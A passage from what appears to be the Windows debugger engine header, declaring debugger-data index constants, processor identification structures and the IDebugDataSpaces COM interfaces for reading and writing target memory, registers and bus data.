288\n#define DEBUG_DATA_MmPagedPoolEndAddr 296\n#define DEBUG_DATA_MmPagedPoolInformationAddr 304\n#define DEBUG_DATA_MmPageSize 312\n#define DEBUG_DATA_MmSizeOfPagedPoolInBytesAddr 320\n#define DEBUG_DATA_MmTotalCommitLimitAddr 328\n#define DEBUG_DATA_MmTotalCommittedPagesAddr 336\n#define DEBUG_DATA_MmSharedCommitAddr 344\n#define DEBUG_DATA_MmDriverCommitAddr 352\n#define DEBUG_DATA_MmProcessCommitAddr 360\n#define DEBUG_DATA_MmPagedPoolCommitAddr 368\n#define DEBUG_DATA_MmExtendedCommitAddr 376\n#define DEBUG_DATA_MmZeroedPageListHeadAddr 384\n#define DEBUG_DATA_MmFreePageListHeadAddr 392\n#define DEBUG_DATA_MmStandbyPageListHeadAddr 400\n#define DEBUG_DATA_MmModifiedPageListHeadAddr 408\n#define DEBUG_DATA_MmModifiedNoWritePageListHeadAddr 416\n#define DEBUG_DATA_MmAvailablePagesAddr 424\n#define DEBUG_DATA_MmResidentAvailablePagesAddr 432\n#define DEBUG_DATA_PoolTrackTableAddr 440\n#define DEBUG_DATA_NonPagedPoolDescriptorAddr 448\n#define DEBUG_DATA_MmHighestUserAddressAddr 456\n#define DEBUG_DATA_MmSystemRangeStartAddr 464\n#define DEBUG_DATA_MmUserProbeAddressAddr 472\n#define DEBUG_DATA_KdPrintCircularBufferAddr 480\n#define DEBUG_DATA_KdPrintCircularBufferEndAddr 488\n#define DEBUG_DATA_KdPrintWritePointerAddr 496\n#define DEBUG_DATA_KdPrintRolloverCountAddr 504\n#define DEBUG_DATA_MmLoadedUserImageListAddr 512\n#define DEBUG_DATA_NtBuildLabAddr 520\n#define DEBUG_DATA_KiNormalSystemCall 528\n#define DEBUG_DATA_KiProcessorBlockAddr 536\n#define DEBUG_DATA_MmUnloadedDriversAddr 544\n#define DEBUG_DATA_MmLastUnloadedDriverAddr 552\n#define DEBUG_DATA_MmTriageActionTakenAddr 560\n#define DEBUG_DATA_MmSpecialPoolTagAddr 568\n#define DEBUG_DATA_KernelVerifierAddr 576\n#define DEBUG_DATA_MmVerifierDataAddr 584\n#define DEBUG_DATA_MmAllocatedNonPagedPoolAddr 592\n#define DEBUG_DATA_MmPeakCommitmentAddr 600\n#define DEBUG_DATA_MmTotalCommitLimitMaximumAddr 608\n#define DEBUG_DATA_CmNtCSDVersionAddr 616\n#define DEBUG_DATA_MmPhysicalMemoryBlockAddr 624\n#define DEBUG_DATA_MmSessionBase 632\n#define DEBUG_DATA_MmSessionSize 640\n#define DEBUG_DATA_MmSystemParentTablePage 648\n#define DEBUG_DATA_MmVirtualTranslationBase 656\n#define DEBUG_DATA_OffsetKThreadNextProcessor 664\n#define DEBUG_DATA_OffsetKThreadTeb 666\n#define DEBUG_DATA_OffsetKThreadKernelStack 668\n#define DEBUG_DATA_OffsetKThreadInitialStack 670\n#define DEBUG_DATA_OffsetKThreadApcProcess 672\n#define DEBUG_DATA_OffsetKThreadState 674\n#define DEBUG_DATA_OffsetKThreadBStore 676\n#define DEBUG_DATA_OffsetKThreadBStoreLimit 678\n#define DEBUG_DATA_SizeEProcess 680\n#define DEBUG_DATA_OffsetEprocessPeb 682\n#define DEBUG_DATA_OffsetEprocessParentCID 684\n#define DEBUG_DATA_OffsetEprocessDirectoryTableBase 686\n#define DEBUG_DATA_SizePrcb 688\n#define DEBUG_DATA_OffsetPrcbDpcRoutine 690\n#define DEBUG_DATA_OffsetPrcbCurrentThread 692\n#define DEBUG_DATA_OffsetPrcbMhz 694\n#define DEBUG_DATA_OffsetPrcbCpuType 696\n#define DEBUG_DATA_OffsetPrcbVendorString 698\n#define DEBUG_DATA_OffsetPrcbProcessorState 700\n#define DEBUG_DATA_OffsetPrcbNumber 702\n#define DEBUG_DATA_SizeEThread 704\n#define DEBUG_DATA_KdPrintCircularBufferPtrAddr 712\n#define DEBUG_DATA_KdPrintBufferSizeAddr 720\n#define DEBUG_DATA_MmBadPagesDetected 800\n#define DEBUG_DATA_EtwpDebuggerData 816\n\n#define DEBUG_DATA_PaeEnabled 100000\n#define DEBUG_DATA_SharedUserData 100008\n#define DEBUG_DATA_ProductType 100016\n#define DEBUG_DATA_SuiteMask 100024\n#define DEBUG_DATA_DumpWriterStatus 100032\n#define DEBUG_DATA_DumpFormatVersion 100040\n#define DEBUG_DATA_DumpWriterVersion 100048\n#define DEBUG_DATA_DumpPowerState 100056\n#define DEBUG_DATA_DumpMmStorage 100064\n\n//\n// Processor information structures.\n//\n\ntypedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ALPHA\n{\n ULONG Type;\n ULONG Revision;\n} DEBUG_PROCESSOR_IDENTIFICATION_ALPHA, *PDEBUG_PROCESSOR_IDENTIFICATION_ALPHA;\n\ntypedef struct _DEBUG_PROCESSOR_IDENTIFICATION_AMD64\n{\n ULONG Family;\n ULONG Model;\n ULONG Stepping;\n CHAR VendorString[16];\n} DEBUG_PROCESSOR_IDENTIFICATION_AMD64, *PDEBUG_PROCESSOR_IDENTIFICATION_AMD64;\n\ntypedef struct _DEBUG_PROCESSOR_IDENTIFICATION_IA64\n{\n ULONG Model;\n ULONG Revision;\n ULONG Family;\n ULONG ArchRev;\n CHAR VendorString[16];\n} DEBUG_PROCESSOR_IDENTIFICATION_IA64, *PDEBUG_PROCESSOR_IDENTIFICATION_IA64;\n\ntypedef struct _DEBUG_PROCESSOR_IDENTIFICATION_X86\n{\n ULONG Family;\n ULONG Model;\n ULONG Stepping;\n CHAR VendorString[16];\n} DEBUG_PROCESSOR_IDENTIFICATION_X86, *PDEBUG_PROCESSOR_IDENTIFICATION_X86;\n\ntypedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ARM\n{\n ULONG Type;\n ULONG Revision;\n} DEBUG_PROCESSOR_IDENTIFICATION_ARM, *PDEBUG_PROCESSOR_IDENTIFICATION_ARM;\n\ntypedef union _DEBUG_PROCESSOR_IDENTIFICATION_ALL\n{\n DEBUG_PROCESSOR_IDENTIFICATION_ALPHA Alpha;\n DEBUG_PROCESSOR_IDENTIFICATION_AMD64 Amd64;\n DEBUG_PROCESSOR_IDENTIFICATION_IA64 Ia64;\n DEBUG_PROCESSOR_IDENTIFICATION_X86 X86;\n DEBUG_PROCESSOR_IDENTIFICATION_ARM Arm;\n} DEBUG_PROCESSOR_IDENTIFICATION_ALL, *PDEBUG_PROCESSOR_IDENTIFICATION_ALL;\n\n// Indices for ReadProcessorSystemData.\n#define DEBUG_DATA_KPCR_OFFSET 0\n#define DEBUG_DATA_KPRCB_OFFSET 1\n#define DEBUG_DATA_KTHREAD_OFFSET 2\n#define DEBUG_DATA_BASE_TRANSLATION_VIRTUAL_OFFSET 3\n#define DEBUG_DATA_PROCESSOR_IDENTIFICATION 4\n#define DEBUG_DATA_PROCESSOR_SPEED 5\n\n#undef INTERFACE\n#define INTERFACE IDebugDataSpaces\nDECLARE_INTERFACE_(IDebugDataSpaces, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugDataSpaces.\n STDMETHOD(ReadVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // SearchVirtual searches the given virtual\n // address range for the given pattern. PatternSize\n // gives the byte length of the pattern and PatternGranularity\n // controls the granularity of comparisons during\n // the search.\n // For example, a DWORD-granular search would\n // use a pattern granularity of four to search by DWORD\n // increments.\n STDMETHOD(SearchVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Length,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __in ULONG PatternGranularity,\n __out PULONG64 MatchOffset\n ) PURE;\n // These methods are identical to Read/WriteVirtual\n // except that they avoid the kernel virtual memory\n // cache entirely and are therefore useful for reading\n // virtual memory which is inherently volatile, such\n // as memory-mapped device areas, without contaminating\n // or invalidating the cache.\n // In user-mode they are the same as Read/WriteVirtual.\n STDMETHOD(ReadVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // The following two methods are convenience\n // methods for accessing pointer values.\n // They automatically convert between native pointers\n // and canonical 64-bit values as necessary.\n // These routines stop at the first failure.\n STDMETHOD(ReadPointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __out_ecount(Count) PULONG64 Ptrs\n ) PURE;\n STDMETHOD(WritePointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __in_ecount(Count) PULONG64 Ptrs\n ) PURE;\n // All non-virtual data spaces are only\n // available when kernel debugging.\n STDMETHOD(ReadPhysical)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WritePhysical)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadMsr)(\n THIS_\n __in ULONG Msr,\n __out PULONG64 Value\n ) PURE;\n STDMETHOD(WriteMsr)(\n THIS_\n __in ULONG Msr,\n __in ULONG64 Value\n ) PURE;\n STDMETHOD(ReadBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(CheckLowMemory)(\n THIS\n ) PURE;\n STDMETHOD(ReadDebuggerData)(\n THIS_\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n STDMETHOD(ReadProcessorSystemData)(\n THIS_\n __in ULONG Processor,\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n};\n\n//\n// Handle data types and structures.\n//\n\n#define DEBUG_HANDLE_DATA_TYPE_BASIC 0\n#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME 1\n#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME 2\n#define DEBUG_HANDLE_DATA_TYPE_HANDLE_COUNT 3\n#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME_WIDE 4\n#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME_WIDE 5\n#define DEBUG_HANDLE_DATA_TYPE_MINI_THREAD_1 6\n#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_1 7\n#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_2 8\n#define DEBUG_HANDLE_DATA_TYPE_PER_HANDLE_OPERATIONS 9\n#define DEBUG_HANDLE_DATA_TYPE_ALL_HANDLE_OPERATIONS 10\n#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_1 11\n#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_2 12\n\ntypedef struct _DEBUG_HANDLE_DATA_BASIC\n{\n ULONG TypeNameSize;\n ULONG ObjectNameSize;\n ULONG Attributes;\n ULONG GrantedAccess;\n ULONG HandleCount;\n ULONG PointerCount;\n} DEBUG_HANDLE_DATA_BASIC, *PDEBUG_HANDLE_DATA_BASIC;\n\n#undef INTERFACE\n#define INTERFACE IDebugDataSpaces2\nDECLARE_INTERFACE_(IDebugDataSpaces2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugDataSpaces.\n STDMETHOD(ReadVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // SearchVirtual searches the given virtual\n // address range for the given pattern. PatternSize\n // gives the byte length of the pattern and PatternGranularity\n // controls the granularity of comparisons during\n // the search.\n // For example, a DWORD-granular search would\n // use a pattern granularity of four to search by DWORD\n // increments.\n STDMETHOD(SearchVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Length,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __in ULONG PatternGranularity,\n __out PULONG64 MatchOffset\n ) PURE;\n // These methods are identical to Read/WriteVirtual\n // except that they avoid the kernel virtual memory\n // cache entirely and are therefore useful for reading\n // virtual memory which is inherently volatile, such\n // as memory-mapped device areas, without contaminating\n // or invalidating the cache.\n // In user-mode they are the same as Read/WriteVirtual.\n STDMETHOD(ReadVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // The following two methods are convenience\n // methods for accessing pointer values.\n // They automatically convert between native pointers\n // and canonical 64-bit values as necessary.\n // These routines stop at the first failure.\n STDMETHOD(ReadPointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __out_ecount(Count) PULONG64 Ptrs\n ) PURE;\n STDMETHOD(WritePointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __in_ecount(Count) PULONG64 Ptrs\n ) PURE;\n // All non-virtual data spaces are only\n // available when kernel debugging.\n STDMETHOD(ReadPhysical)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WritePhysical)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadMsr)(\n THIS_\n __in ULONG Msr,\n __out PULONG64 Value\n ) PURE;\n STDMETHOD(WriteMsr)(\n THIS_\n __in ULONG Msr,\n __in ULONG64 Value\n ) PURE;\n STDMETHOD(ReadBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(CheckLowMemory)(\n THIS\n ) PURE;\n STDMETHOD(ReadDebuggerData)(\n THIS_\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n STDMETHOD(ReadProcessorSystemData)(\n THIS_\n __in ULONG Processor,\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // IDebugDataSpaces2.\n\n STDMETHOD(VirtualToPhysical)(\n THIS_\n __in ULONG64 Virtual,\n __out PULONG64 Physical\n ) PURE;\n // Returns the physical addresses for the\n // N levels of the systems paging structures.\n // Level zero is the starting base physical\n // address for virtual translations.\n // Levels one-(N-1) will point to the appropriate\n // paging descriptor for the virtual address at\n // the given level of the paging hierarchy. The\n // exact number of levels depends on many factors.\n // The last level will be the fully translated\n // physical address, matching what VirtualToPhysical\n // returns. If the address can only be partially\n // translated S_FALSE is returned.\n STDMETHOD(GetVirtualTranslationPhysicalOffsets)(\n THIS_\n __in ULONG64 Virtual,\n __out_ecount_opt(OffsetsSize) PULONG64 Offsets,\n __in ULONG OffsetsSize,\n __out_opt PULONG Levels\n ) PURE;\n\n // System handle data is accessible in certain\n // debug sessions. The particular data available\n // varies from session to session and platform\n // to platform.\n STDMETHOD(ReadHandleData)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG DataType,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // Fills memory with the given pattern.\n // The fill stops at the first non-writable byte.\n STDMETHOD(FillVirtual)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n STDMETHOD(FillPhysical)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n\n // Queries virtual memory mapping information given\n // an address similarly to the Win32 API VirtualQuery.\n // MEMORY_BASIC_INFORMATION64 is defined in crash.h.\n // This method currently only works for user-mode sessions.\n STDMETHOD(QueryVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out PMEMORY_BASIC_INFORMATION64 Info\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugDataSpaces3\nDECLARE_INTERFACE_(IDebugDataSpaces3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugDataSpaces.\n STDMETHOD(ReadVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // SearchVirtual searches the given virtual\n // address range for the given pattern. PatternSize\n // gives the byte length of the pattern and PatternGranularity\n // controls the granularity of comparisons during\n // the search.\n // For example, a DWORD-granular search would\n // use a pattern granularity of four to search by DWORD\n // increments.\n STDMETHOD(SearchVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Length,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __in ULONG PatternGranularity,\n __out PULONG64 MatchOffset\n ) PURE;\n // These methods are identical to Read/WriteVirtual\n // except that they avoid the kernel virtual memory\n // cache entirely and are therefore useful for reading\n // virtual memory which is inherently volatile, such\n // as memory-mapped device areas, without contaminating\n // or invalidating the cache.\n // In user-mode they are the same as Read/WriteVirtual.\n STDMETHOD(ReadVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteVirtualUncached)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n // The following two methods are convenience\n // methods for accessing pointer values.\n // They automatically convert between native pointers\n // and canonical 64-bit values as necessary.\n // These routines stop at the first failure.\n STDMETHOD(ReadPointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __out_ecount(Count) PULONG64 Ptrs\n ) PURE;\n STDMETHOD(WritePointersVirtual)(\n THIS_\n __in ULONG Count,\n __in ULONG64 Offset,\n __in_ecount(Count) PULONG64 Ptrs\n ) PURE;\n // All non-virtual data spaces are only\n // available when kernel debugging.\n STDMETHOD(ReadPhysical)(\n THIS_\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WritePhysical)(\n THIS_\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteControl)(\n THIS_\n __in ULONG Processor,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteIo)(\n THIS_\n __in ULONG InterfaceType,\n __in ULONG BusNumber,\n __in ULONG AddressSpace,\n __in ULONG64 Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(ReadMsr)(\n THIS_\n __in ULONG Msr,\n __out PULONG64 Value\n ) PURE;\n STDMETHOD(WriteMsr)(\n THIS_\n __in ULONG Msr,\n __in ULONG64 Value\n ) PURE;\n STDMETHOD(ReadBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteBusData)(\n THIS_\n __in ULONG BusDataType,\n __in ULONG BusNumber,\n __in ULONG SlotNumber,\n __in ULONG Offset,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(CheckLowMemory)(\n THIS\n ) PURE;\n STDMETHOD(ReadDebuggerData)(\n THIS_\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n STDMETHOD(ReadProcessorSystemData)(\n THIS_\n __in ULONG Processor,\n __in ULONG Index,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // IDebugDataSpaces2.\n\n STDMETHOD(VirtualToPhysical)(\n THIS_\n __in ULONG64 Virtual,\n __out PULONG64 Physical\n ) PURE;\n // Returns the physical addresses for the\n // N levels of the systems paging structures.\n // Level zero is the starting base physical\n // address for virtual translations.\n // Levels one-(N-1) will point to the appropriate\n // paging descriptor for the virtual address at\n // the given level of the paging hierarchy. The\n // exact number of levels depends on many factors.\n // The last level will be the fully translated\n // physical address, matching what VirtualToPhysical\n // returns. If the address can only be partially\n // translated S_FALSE is returned.\n STDMETHOD(GetVirtualTranslationPhysicalOffsets)(\n THIS_\n __in ULONG64 Virtual,\n __out_ecount_opt(OffsetsSize) PULONG64 Offsets,\n __in ULONG OffsetsSize,\n __out_opt PULONG Levels\n ) PURE;\n\n // System handle data is accessible in certain\n // debug sessions. The particular data available\n // varies from session to session and platform\n // to platform.\n STDMETHOD(ReadHandleData)(\n THIS_\n __in ULONG64 Handle,\n __in ULONG DataType,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DataSize\n ) PURE;\n\n // Fills memory with the given pattern.\n // The fill stops at the first non-writable byte.\n STDMETHOD(FillVirtual)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n STDMETHOD(FillPhysical)(\n THIS_\n __in ULONG64 Start,\n __in ULONG Size,\n __in_bcount(PatternSize) PVOID Pattern,\n __in ULONG PatternSize,\n __out_opt PULONG Filled\n ) PURE;\n\n // Queries virtual memory mapping information given\n // an address similarly to the Win32 API VirtualQuery.\n // MEMORY_BASIC_INFORMATION64 is defined in crash.h.\n // This method currently only works for user-mode sessions.\n STDMETHOD(QueryVirtual)(\n THIS_\n __in ULONG64 Offset,\n __out PMEMORY_BASIC_INFORMATION64 Info\n ) PURE;\n\n // IDebugDataSpaces3.\n\n // Convenience method for reading an image\n // header from virtual memory. Given the\n // image base, this method determines where\n // the NT headers are, validates the necessary\n // markers and converts the headers into\n // 64-bit form for consistency.\n // A caller can check whether the headers were\n // originally 32-bit by checking the optional\n // header magic value.\n // This method will not read ROM headers.\n STDMETHOD(ReadImageNtHeaders)(\n THIS_\n __in ULONG64 ImageBase,\n __out PIMAGE_NT_HEADERS64 Headers\n ) PURE;\n\n // Some debug sessions have arbitrary additional\n // data available. For example, additional dump\n // information files may contain extra information\n // gathered at the same time as the primary dump.\n // Such information is tagged with a unique identifier\n // and can only be retrieved via the tag.\n // Tagged data cannot be partially available; the\n // tagged block is either fully present or completely\n // absent.\n STDMETHOD(ReadTagged)(\n THIS_\n __in LPGUID Tag,\n __in ULONG Offset,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TotalSize\n ) PURE;\n STDMETHOD(StartEnumTagged)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(GetNextTagged)(\n THIS_\n __in ULONG64 Handle,\n __out LPGUID Tag,\n __out PULONG Size\n ) PURE;\n STDMETHOD(EndEnumTagged)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n};\n\n#define DEBUG_OFFSINFO_VIRTUAL_SOURCE 0x00000001\n\n#define DEBUG_VSOURCE_INVALID 0x00000000\n#define DEBUG_VSOURCE_DEBUGGEE 0x00000001\n#define DEBUG_VSOURCE_MAPPED_IMAGE 0x00000002\n#define DEBUG_VSOURCE_DUMP_WITHOUT_MEMINFO 0x00000003\n\n#define DEBUG_VSEARCH_DEFAULT 0x00000000\n#define DEBUG_VSEARCH_WRITABLE_ONLY 0x00000001\n\n#define DEBUG_PHYSICAL_DEFAULT 0x00000000\n#define DEBUG_PHYSICAL_CACHED 0x00000001\n#define DEBUG_PHYSICAL_UNCACHED 0x00000002\n#define DEBUG_PHYSICAL_WRITE_COMBINED 0x00000003\n\n#undef INTERFACE\n#define INTERFACE 